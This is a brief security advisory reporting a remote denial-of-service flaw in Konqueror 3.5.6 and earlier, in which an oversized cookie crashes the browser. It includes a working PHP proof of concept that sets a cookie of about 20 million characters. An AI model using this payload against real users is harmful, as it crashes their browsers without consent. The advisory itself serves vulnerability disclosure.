Konqueror Remote Denial Of Service

[laurent.gaffie@gmail.com]

Application: Konqueror <= 3.5.6
Web Site: http://www.konqueror.org/
Platform: Unix
Bug: Remote Denial of service

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1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
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1) Introduction
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"Konqueror is an Open Source web browser with HTML 4.01 compliance, supporting Java applets, JavaScript, CSS 1, CSS 2.1, as well as Netscape plugins (for example, Flash or RealVideo plugins)."

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2) Bug
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Konqueror doesn't handle big cookies, so when a big cookie is sended , konqueror will crash.

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3)Proof of concept
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Proof of concept example :

<?php
ini_set("memory_limit","200M");
setcookie("hi_fox", str_repeat("A",19999999));
?>



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4)Greets
========
Berga,team soh, #futurezone, #soh

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5)Credits
=====
laurent gaffié